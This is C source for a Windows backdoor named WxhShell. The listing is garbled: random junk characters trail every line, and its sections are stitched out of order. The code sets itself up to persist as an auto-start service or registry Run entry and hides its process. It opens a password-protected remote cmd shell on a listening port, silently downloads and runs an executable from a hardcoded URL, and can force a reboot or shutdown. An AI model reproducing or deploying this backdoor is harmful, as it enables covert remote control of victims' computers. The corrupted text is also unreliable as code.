    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rE\.[mFI  
    if(Boot(SHUTDOWN)) O9F#gO|!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Lr# *ep[  
    else { sUsIu,1Q  
    closesocket(wsh); :N>s#{+"3  
    ExitThread(0); 2|LkCu)~,"  
    } m`/!7wQs  
    break; @fSqGsSk  
    } 2LH.If  
  // 获取shell k!m9 l1x  
  case 's': { cin3)lm  
    CmdShell(wsh); 1PT0<C-  
    closesocket(wsh); on0>_-n)  
    ExitThread(0); y?{YQ)fj  
    break; xr-v"-  
  } S31+ j:"  
  // 退出 -44''w?z  
  case 'x': { u< .N\/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h`/1JjP  
    CloseIt(wsh); 8BwJWxBQ  
    break; Fv9n>%W&  
    } {siIRl2&  
  // 离开   |HB  
  case 'q': { )F4P-u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XRR`GBI  
    closesocket(wsh); _M7NL^B&  
    WSACleanup(); viR-h iD  
    exit(1); a,*~wmg  
    break; J2~oIe2!+  
        } z8hAZ?r1`  
  } B":u5_B  
  } `@|Kx\y4=j  
^{Y9!R*9U*  
  // 提示信息 B>W!RyH8o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6@o *"4~Q  
} :0RfA%  
  } O* 7` Waag  
tB7g.)yZb  
  return; A VbGJ+  
} Rc k k  
ZJ|'$=lR  
// shell模块句柄 |*WE@L5  
int CmdShell(SOCKET sock) &%4*~;o  
{ OAXF=V F#  
STARTUPINFO si; Z6xM(*vg  
ZeroMemory(&si,sizeof(si)); j:6VWdgq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s>^$: wzu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OwM.N+ z#T  
PROCESS_INFORMATION ProcessInfo; t!,GI&  
char cmdline[]="cmd"; Zl+Ba   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i'bUX=JK  
  return 0; bR}{xHe  
} sAz]8(Fi0  
d]6#pSE  
// 自身启动模式  9> k-";  
int StartFromService(void) v}AVIdR  
{ o|BEY3|  
typedef struct @(m XiK  
{ EFb"{L  
  DWORD ExitStatus; \E<t'\>@X  
  DWORD PebBaseAddress; .;xt{kK  
  DWORD AffinityMask; >C|i^4ppI  
  DWORD BasePriority; ]TmxCTVL  
  ULONG UniqueProcessId; Ev7fvz =  
  ULONG InheritedFromUniqueProcessId; p/k6}Wl  
}   PROCESS_BASIC_INFORMATION; ]FLi^}ct  
b0_Ih6  
PROCNTQSIP NtQueryInformationProcess; 5#v|t\ {  
!w9w{dtW=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oG_-a(N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G*;6cV19  
_v9P0W^.7  
  HANDLE             hProcess; |NZVm}T  
  PROCESS_BASIC_INFORMATION pbi; CF:s@Z+  
\%FEQa0u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +$F_7Hx  
  if(NULL == hInst ) return 0; DVWqrK}q  
3bi,9 >%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pGO)9?j_N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @N-P[.qL"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `IQ76Xl  
rIt#ps  
  if (!NtQueryInformationProcess) return 0; *)jhhw=34  
E?z~)0z2`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kq SpZoV0'  
  if(!hProcess) return 0; 9y~5@/3 2R  
Yc,qXK-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MyyNYZ  
tX$ v)O|  
  CloseHandle(hProcess); n8.W$&-ia  
v{Rj,Ou  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); : ;nvqbd  
if(hProcess==NULL) return 0; cBO.96ZHE  
V u/{Hr  
HMODULE hMod; !`rR;5&sT  
char procName[255]; ?J<V-,i  
unsigned long cbNeeded; f+/AD  
)e$}sw{t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @nuMl5C-`  
]}wo$7pO  
  CloseHandle(hProcess); }J~ d6m  
f8T6(cA  
if(strstr(procName,"services")) return 1; // 以服务启动 H+oQ L(i|_  
;PO{ ips  
  return 0; // 注册表启动 vnNX)$f  
} DcO$&)Eb  
< ] ~FX 25  
// 主模块 zT\nj&7  
int StartWxhshell(LPSTR lpCmdLine) 29xm66  
{ 3N(5V;ti  
  SOCKET wsl; p f\ Ybbs  
BOOL val=TRUE; VO (KQx  
  int port=0; XB8g5AxR  
  struct sockaddr_in door; M@k8;_5  
vn]e`O>y  
  if(wscfg.ws_autoins) Install(); 4=G)j+RCH  
kq{PM-]l  
port=atoi(lpCmdLine); 5Iql%~_x  
(R.l{(A  
if(port<=0) port=wscfg.ws_port; -x~4@~  
N)kZ2|oD  
  WSADATA data;  iI!MF1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v%ldg833l  
&V`~ z e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9!``~]G2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GOKca%DT=  
  door.sin_family = AF_INET; AYVkJq?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W> +/N4  
  door.sin_port = htons(port); 'n>v}__&|  
F}f/cG<X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T{A_]2 G  
closesocket(wsl); $QNII+o  
return 1; 8_d>=*(  
} "^Ax}Jr  
c%jW'  
  if(listen(wsl,2) == INVALID_SOCKET) { #OQT@uF!  
closesocket(wsl); !`A]YcQ  
return 1; m0}1P]dc  
} `kRv+Qwfa  
  Wxhshell(wsl); +Fk]hCL  
  WSACleanup(); QY^v*+lr\  
mRECd Gst  
return 0; $:RP tG  
Vx~N`|yY  
} V-7A80!5  
'yw7|i2  
// 以NT服务方式启动 ?V{AP&#M$x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,. K}uW  
{ % >mB"Y,  
DWORD   status = 0; >Oz~j>jL  
  DWORD   specificError = 0xfffffff; +kj d;u#  
Fv )H;1V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zm&?G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L'@@ewA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -Wt (t2  
  serviceStatus.dwWin32ExitCode     = 0; ju8DmC5  
  serviceStatus.dwServiceSpecificExitCode = 0; /SvB w>gQ  
  serviceStatus.dwCheckPoint       = 0; pR,eus;8  
  serviceStatus.dwWaitHint       = 0; :~ ; 48m  
w vQ.9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n a3st*3V_  
  if (hServiceStatusHandle==0) return; 6a%dq"5 +  
k0e {c  
status = GetLastError(); rQ:+LVfXjA  
  if (status!=NO_ERROR) % k}+t3aF  
{ 7xlarns   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EqjaD/6Y`  
    serviceStatus.dwCheckPoint       = 0; Q$B\)9`v[  
    serviceStatus.dwWaitHint       = 0; B']}n`g  
    serviceStatus.dwWin32ExitCode     = status; )bkJ[ '9  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8ED}!;ZU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r/e} DYL&  
    return; tDQo1,(oY  
  } U~l.%mui  
Y *?hA'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f.{/PL  
  serviceStatus.dwCheckPoint       = 0; c) q'" r  
  serviceStatus.dwWaitHint       = 0; 7+c}D>/`:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KM&bu='L^  
} }n;.E&<[  
QZ?%xN(4  
// 处理NT服务事件,比如:启动、停止 FC&841F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F./$nwb  
{ ~]S%b3>  
switch(fdwControl) 8HxtmFqG  
{ 47yzI-1H+  
case SERVICE_CONTROL_STOP: \*i[m&3;q  
  serviceStatus.dwWin32ExitCode = 0; hI}rW^o^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +h?Rb3=S  
  serviceStatus.dwCheckPoint   = 0; I;rh(FMV  
  serviceStatus.dwWaitHint     = 0; j@778fvM\t  
  { u[b0MNE~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *;!p#qL  
  } ^Sj*  
  return; JXKo zy41  
case SERVICE_CONTROL_PAUSE: vIpitbFC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *If ]f0?%  
  break; /vrjg)fer  
case SERVICE_CONTROL_CONTINUE: Fb^f`UI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 88~ lP7J  
  break; -l i71.M  
case SERVICE_CONTROL_INTERROGATE: O tD!@GQ6  
  break; r6 :c<p[c  
}; M7. fz"M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E*]%@6tH  
} S<=|i  
a0*qK)gH  
// 标准应用程序主函数 &8'QD~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }$D{YHF  
{ eczS(KoL4  
OdHl)"#  
// 获取操作系统版本 Q ~>="Yiu  
OsIsNt=GetOsVer(); w829 8Kl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8B"my\  
03^?+[C  
  // 从命令行安装 O9jpt>:kZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); \h UE, ^  
+8eW/Bs@2  
  // 下载执行文件 g)UYpi?p-}  
if(wscfg.ws_downexe) { >7j(V`i"y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IP-}J$$1  
  WinExec(wscfg.ws_filenam,SW_HIDE); M%@ =BT  
} |C_sP,W  
w/Ej>OS  
if(!OsIsNt) { Zg2F%f$Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 <h<4R Rj  
HideProc(); I$vM )+v=  
StartWxhshell(lpCmdLine); L; f  
} ?~fuMy B  
else ?> SH`\  
  if(StartFromService()) qw mZOR#  
  // 以服务方式启动 dt=5 Pnf[y  
  StartServiceCtrlDispatcher(DispatchTable); Lf} @v  
else +pMjm&CF  
  // 普通方式启动 Bp:i[9w  
  StartWxhshell(lpCmdLine); j_Z"=  
{<}kqn83sT  
return 0; f7Fr%*cO  
} d/3 k3HdL  
ee5QZ,  
{Kh u'c  
]&kzIxh  
=========================================== a}]zwV&  
JkMf+ !  
l|onH;g\  
a|\ZC\(xI  
q<` g  
|[]"{Eo"}  
" !`-/E']/  
,0=@cJ  
#include <stdio.h> |K%nVcR=  
#include <string.h> <O#/-r>2  
#include <windows.h> L8zY?v(bG  
#include <winsock2.h> s]p3dB#  
#include <winsvc.h> &%/kPF~<  
#include <urlmon.h> (!^(74  
e2 ?7>?  
#pragma comment (lib, "Ws2_32.lib") ,:!dqonn  
#pragma comment (lib, "urlmon.lib") k_c8\::p#  
BEv>?T 0  
#define MAX_USER   100 // 最大客户端连接数 B3V=;zn3  
#define BUF_SOCK   200 // sock buffer @I '_  
#define KEY_BUFF   255 // 输入 buffer Jm+hDZrW  
O)tZ`X;  
#define REBOOT     0   // 重启 <Eo; CaaF/  
#define SHUTDOWN   1   // 关机 ?r,lgaw  
}"'^.FG^_  
#define DEF_PORT   5000 // 监听端口 9 OC!\' 8  
M)U 32gI:  
#define REG_LEN     16   // 注册表键长度 ;J[1S  
#define SVC_LEN     80   // NT服务名长度 yBPaGZ{f  
[8VB"{{&  
// 从dll定义API Jz!8Xg%a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [Pu~kiN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )bqfj>%#c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <Cvlz^K[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )k.[Ve  
WJ9=hr  
// wxhshell配置信息 z~/z>_y$nv  
struct WSCFG { - T,;Fr'  
  int ws_port;         // 监听端口 XM$HHk}L;  
  char ws_passstr[REG_LEN]; // 口令 Yd4J:  
  int ws_autoins;       // 安装标记, 1=yes 0=no _U.D*f<3)  
  char ws_regname[REG_LEN]; // 注册表键名 X;7gh>Q'4  
  char ws_svcname[REG_LEN]; // 服务名 `5[d9z/6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `5:Wv b>|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^1vh5D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3%] %c6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -;TqdL@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;[]{O5TB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y. ]FVq  
 eU"!X9  
}; vr|9NP]v  
4|uh&4"*@W  
// default Wxhshell configuration 0Ii* "?s  
struct WSCFG wscfg={DEF_PORT, Ji_3*(  
    "xuhuanlingzhe", Bf$YwoZov  
    1, U5]{`C0H?  
    "Wxhshell", :A\8#]3  
    "Wxhshell", bb# F2r4  
            "WxhShell Service", !>g_9'n'  
    "Wrsky Windows CmdShell Service", l+'@y (}Q  
    "Please Input Your Password: ", \f6SA{vR|  
  1, c(. 2D  
  "http://www.wrsky.com/wxhshell.exe", 2r2qZ#I}  
  "Wxhshell.exe" QAigbSn]  
    }; 31 \l0Jg  
vT V'D&x2  
// 消息定义模块 cv(9v =](  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {OP[Rrm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PG<tic<?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k{<]J5{7  
char *msg_ws_ext="\n\rExit."; gwDQ@  
char *msg_ws_end="\n\rQuit."; Yy6Mkw7X  
char *msg_ws_boot="\n\rReboot..."; sK8=PZ \  
char *msg_ws_poff="\n\rShutdown..."; x2 *l5t  
char *msg_ws_down="\n\rSave to "; >NWrT^rk  
*HFRG)[V  
char *msg_ws_err="\n\rErr!"; +:3K?G -  
char *msg_ws_ok="\n\rOK!"; _FXvJ}~m  
5qzFH,  
char ExeFile[MAX_PATH]; C?jk#T  
int nUser = 0; 4.:2!Q  
HANDLE handles[MAX_USER]; 8"L#5MO t  
int OsIsNt; 9P;}P! W  
n,hl6[OL7  
SERVICE_STATUS       serviceStatus; '\8gY((7   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YqhZndktX  
:ulOG{z  
// 函数声明 C7#ji"t  
int Install(void); EkotVzR5  
int Uninstall(void); d[mmwgSR?I  
int DownloadFile(char *sURL, SOCKET wsh); e P]L  
int Boot(int flag); e 4-  
void HideProc(void); qdkhfm2(K  
int GetOsVer(void); t*H r(|.  
int Wxhshell(SOCKET wsl); w U".^ +  
void TalkWithClient(void *cs); f]Jn\7j4  
int CmdShell(SOCKET sock); UnSi=uj  
int StartFromService(void); qxKW% {6o  
int StartWxhshell(LPSTR lpCmdLine); KY5it9e  
[B<htD&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O@*^2, 6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |>_e& }Y%L  
nn[OC=cDN  
// 数据结构和表定义 cP#vzFB0>  
SERVICE_TABLE_ENTRY DispatchTable[] = c>I(6$  
{ j#:IG/)GL  
{wscfg.ws_svcname, NTServiceMain}, 7i- G5%w7  
{NULL, NULL} AA=zDB<N  
}; SI_u0j4%*  
=.T50~+M  
// 自我安装 `sW+R=  
int Install(void) ViZ Tl~  
{ N_jpCCG~  
  char svExeFile[MAX_PATH]; N@}5Fnk-  
  HKEY key; \ @XvEx%  
  strcpy(svExeFile,ExeFile); vwF#;jj\  
py \KY R  
// 如果是win9x系统,修改注册表设为自启动 7 ) Q>R  
if(!OsIsNt) { PB[ Y^q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N{b ;kiZq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); olA 1,8  
  RegCloseKey(key); LDX>S*cL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dk ^,iY(u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dx1f< A1  
  RegCloseKey(key); Gl am(V1  
  return 0; Nw3K@ Ge  
    } 2)-V\:;js  
  } K>a@AXC  
} Ca]V%g(  
else { }c]u'a!4  
vx7wW<e%D  
// 如果是NT以上系统,安装为系统服务 F/ si =%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s[dq-pc "  
if (schSCManager!=0) v)c[-:"z  
{ >Hd Pcsl L  
  SC_HANDLE schService = CreateService Lb=4\ _  
  ( o[Gp*o\  
  schSCManager, -|cB7 P  
  wscfg.ws_svcname, `VL<pqPP  
  wscfg.ws_svcdisp, 9{- Sa  
  SERVICE_ALL_ACCESS, ^Mc zumG[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KQu lz  
  SERVICE_AUTO_START, +Rq7m]  
  SERVICE_ERROR_NORMAL, <c!I\y  
  svExeFile, oMV^W^<  
  NULL, n&fV^ x  
  NULL, b&g`AnYT  
  NULL, /4{.J=R}  
  NULL, ,!I'0x1OR  
  NULL l(A>Rw|  
  ); F#>^S9Gml  
  if (schService!=0) 41s[p56+@  
  { XJ*W7HD  
  CloseServiceHandle(schService); ~'u %66  
  CloseServiceHandle(schSCManager); *{%d{x}l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I]jK]]@  
  strcat(svExeFile,wscfg.ws_svcname);  $hgsWa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2nv-/ %]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zKf.jpF^  
  RegCloseKey(key); hcJny  
  return 0; a"pejW`m  
    } c&>==pI]k  
  } eT ZQ[qMp  
  CloseServiceHandle(schSCManager); O~u@J'4  
} 5;yVA  
} 6JZ$; x{j  
w@Gk#  
return 1; z<Y >phc  
} N^U<;O?YDW  
AOVoOd+6  
// 自我卸载 t^(#~hx  
int Uninstall(void) t1%<l  
{ U.0bbr  
  HKEY key; ^{(i;IVG  
uL[%R2  
if(!OsIsNt) { n?z^"vv$i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R`F8J}X_  
  RegDeleteValue(key,wscfg.ws_regname); $KGpcl  
  RegCloseKey(key); 0Q= o"@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /@~&zx&_  
  RegDeleteValue(key,wscfg.ws_regname); @[] A&)B  
  RegCloseKey(key); nbM7 >tnsk  
  return 0; j9IeqlL  
  } t 9Dr%#  
} Qx%]u8s  
} R404\XGL  
else { ~!G&K`u  
g bc])`aJ>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JHCV7$RS  
if (schSCManager!=0) }^/;8cfLY  
{ c(y~,hN&p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); af WEt -  
  if (schService!=0) fpK`  
  { ]p.eFYDh7  
  if(DeleteService(schService)!=0) { d PfD Pb  
  CloseServiceHandle(schService); [va7+=[1=  
  CloseServiceHandle(schSCManager); T2$V5RyX  
  return 0; bk#t+tuk  
  } ~jqh&u$(  
  CloseServiceHandle(schService); >X(,(mKi  
  } EjYCOb-  
  CloseServiceHandle(schSCManager); (KDv>@5  
} :i24 @V~){  
} /`Wd+  
.+"SDt oX  
return 1; _Di}={1[.  
} QhHexr6  
D(]])4  
// 从指定url下载文件 u+RdC;_  
int DownloadFile(char *sURL, SOCKET wsh) &2!F:L  
{ ;7]Q'N  
  HRESULT hr; = +uUWJ&1G  
char seps[]= "/"; e!5nz_J1}  
char *token; Q3vWwP;t~  
char *file; ]v^;]0vcr  
char myURL[MAX_PATH]; w C0fPPeA  
char myFILE[MAX_PATH]; &dV|~xA6N  
L|3wG Y9E  
strcpy(myURL,sURL); gr/o!NC  
  token=strtok(myURL,seps); <p'~$vK  
  while(token!=NULL) fDdTs@)6  
  { (zFUC]  
    file=token; j;O{Hvvz  
  token=strtok(NULL,seps); M-2:$;D  
  } hr<E%J1k%  
!8|]R  
GetCurrentDirectory(MAX_PATH,myFILE); "=unDpq]  
strcat(myFILE, "\\"); \Mv8pU  
strcat(myFILE, file); .bOueB-  
  send(wsh,myFILE,strlen(myFILE),0); #pxc6W /  
send(wsh,"...",3,0); 0 mWfR8h0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6t5)rlT  
  if(hr==S_OK) fuQ|[tpvQG  
return 0; c 25wm\\  
else }0#cdw#gH  
return 1; DlR&Lnv  
[|2uu."$  
} '"5" $)7  
-;z&">  
// 系统电源模块 j\nnx8`7  
int Boot(int flag) ^c1I'9(r5  
{ $} S5&  
  HANDLE hToken; P Z-|W  
  TOKEN_PRIVILEGES tkp; n%Xw6qV:  
>R?EJ;h  
  if(OsIsNt) { `}F=Zjy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J-fU,*Bk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IPcAE!h6zN  
    tkp.PrivilegeCount = 1; q+32|k>)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; : H<u@%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yuze9b\[  
if(flag==REBOOT) { .9 WUp>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CS cM;U=  
  return 0; +I2P{7  
} -,96Qg4vI  
else { amGQ!$] %#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1,W%t\D  
  return 0; <P( K,L?r  
} bE^Z;q19  
  } mn" a$  
  else { <HG~#oBRq  
if(flag==REBOOT) { *E .{i   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9XS+W w7  
  return 0; F& H~JJ  
} +F 6KGK[  
else { M.d{:&@`%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8pDJz_F!{  
  return 0; I]Wb\&$  
} rN{&$+"2  
} guSgTUJ}  
yN~=3b>  
return 1; Bi kCjP[b  
} oLX6w  
ET _}x7  
// win9x进程隐藏模块 /R k5n  
void HideProc(void) |fTQ\q]W  
{ ,X\z#B  
?ArQ{9c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yYdXAenQ  
  if ( hKernel != NULL ) QE)g==d  
  { ?e]4HHgU]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3`e1:`Hu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1km=9[;w'  
    FreeLibrary(hKernel); R [uo:.  
  } ~^5uOeTZ~  
Kw?,A   
return; 9d2$F9]:o  
} 9L&AbmIr  
wk5a &  
// 获取操作系统版本 l0@$]76cX;  
int GetOsVer(void) ;TW@{re  
{ 41C=O@9m  
  OSVERSIONINFO winfo; ~RMOEH.o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;w6\r!O,  
  GetVersionEx(&winfo); uP* >-s'm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G&n_vwZ%  
  return 1; H"&N<"hw  
  else -nd6hx  
  return 0; +zw<iB)J  
} Jhut>8  
z+\>e~U6J}  
// 客户端句柄模块 W&p-Z"=)  
int Wxhshell(SOCKET wsl) oNEU?+  
{ t(_XB|AKm  
  SOCKET wsh; 1zp,Suv  
  struct sockaddr_in client; -u9{R\S  
  DWORD myID; {9=U6m^R2  
$8eq&_gJ  
  while(nUser<MAX_USER) i$NnHj|  
{ #pVk%5N  
  int nSize=sizeof(client); *yX_dgC>[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c9ZoO;  
  if(wsh==INVALID_SOCKET) return 1; vu#:D1/BB  
iFDQnt [t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LvAIAknc  
if(handles[nUser]==0) k1cBMDSokO  
  closesocket(wsh); #/1Bam6  
else DV.MvFV  
  nUser++; :?^(&3;  
  } ~\kRW6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9GGBJTk-  
&#)3v8  
  return 0; dZYS5_wr  
} -+4$W{OK*0  
0loC^\f  
// 关闭 socket \m\.+q]  
void CloseIt(SOCKET wsh) 1ii.nt1 u  
{ UHg^F4>4  
closesocket(wsh); Ri3m438  
nUser--; Z?@07Y[|K  
ExitThread(0); Q^ F-8  
} ilHj%h*z  
h FjW.~B  
// 客户端请求句柄 @Ab<I  
void TalkWithClient(void *cs) v>e4a/  
{ +HcH]D;  
m[7a~-3:J  
  SOCKET wsh=(SOCKET)cs; D0-e,)G}V,  
  char pwd[SVC_LEN]; IQ~()/;3d  
  char cmd[KEY_BUFF]; >/n/n{{  
char chr[1]; w5|"cD#8A  
int i,j; vTP_vsdeG  
)a6i8b3  
  while (nUser < MAX_USER) { |On6?5((e  
mPh;  
if(wscfg.ws_passstr) { LnL<WI*Pq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fU8;CZnx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m|y]j4  
  //ZeroMemory(pwd,KEY_BUFF); *X>rvAd3  
      i=0; [v&_MQ  
  while(i<SVC_LEN) { *%8us~w5/  
iVl"H@m/  
  // 设置超时 !Zwl9DX3  
  fd_set FdRead; jBQQ?cA  
  struct timeval TimeOut; E }yxF .  
  FD_ZERO(&FdRead); q\/|nZO4  
  FD_SET(wsh,&FdRead); 9QYU J  
  TimeOut.tv_sec=8; $ OR>JnV  
  TimeOut.tv_usec=0; LRI_s>7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YA|*$$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EHb:(|UA%8  
PNG'"7O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8[Qw8z5-  
  pwd=chr[0]; xv ja  
  if(chr[0]==0xd || chr[0]==0xa) { 2sTyuH .  
  pwd=0; nxJhK T  
  break; v{jl)?`~w  
  } ?L $KlF Y  
  i++; MaEh8*  
    } `#UTOYx4  
N,O[pTwj  
  // 如果是非法用户,关闭 socket [J];  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vxm`[s|QC  
} ^ 1g6(k'  
*rbH|o8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #A/jGv^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~<eiWDf  
3! +5MsR+  
while(1) { (5I]umtge  
m1<B6*iG"  
  ZeroMemory(cmd,KEY_BUFF); );6zV_^!  
3646.i[D  
      // 自动支持客户端 telnet标准   Y'Af I^K  
  j=0; " c]Mz&z  
  while(j<KEY_BUFF) { 3HA{18{4uP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2D!'7ZD  
  cmd[j]=chr[0]; RDZq(rKc  
  if(chr[0]==0xa || chr[0]==0xd) { m ;KP  
  cmd[j]=0; |fA[s7)  
  break; v|"{x&I.  
  } =:2V4H(F  
  j++; 3)xV-Y9  
    } -{w&ya4X  
k-89(  
  // 下载文件 Uarb [4OZ  
  if(strstr(cmd,"http://")) { WFB2Ub7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *0iP*j/]  
  if(DownloadFile(cmd,wsh))  qV}zV\Nz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5GY%ZRHh  
  else hZFbiGQr\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !pN,,H6Y  
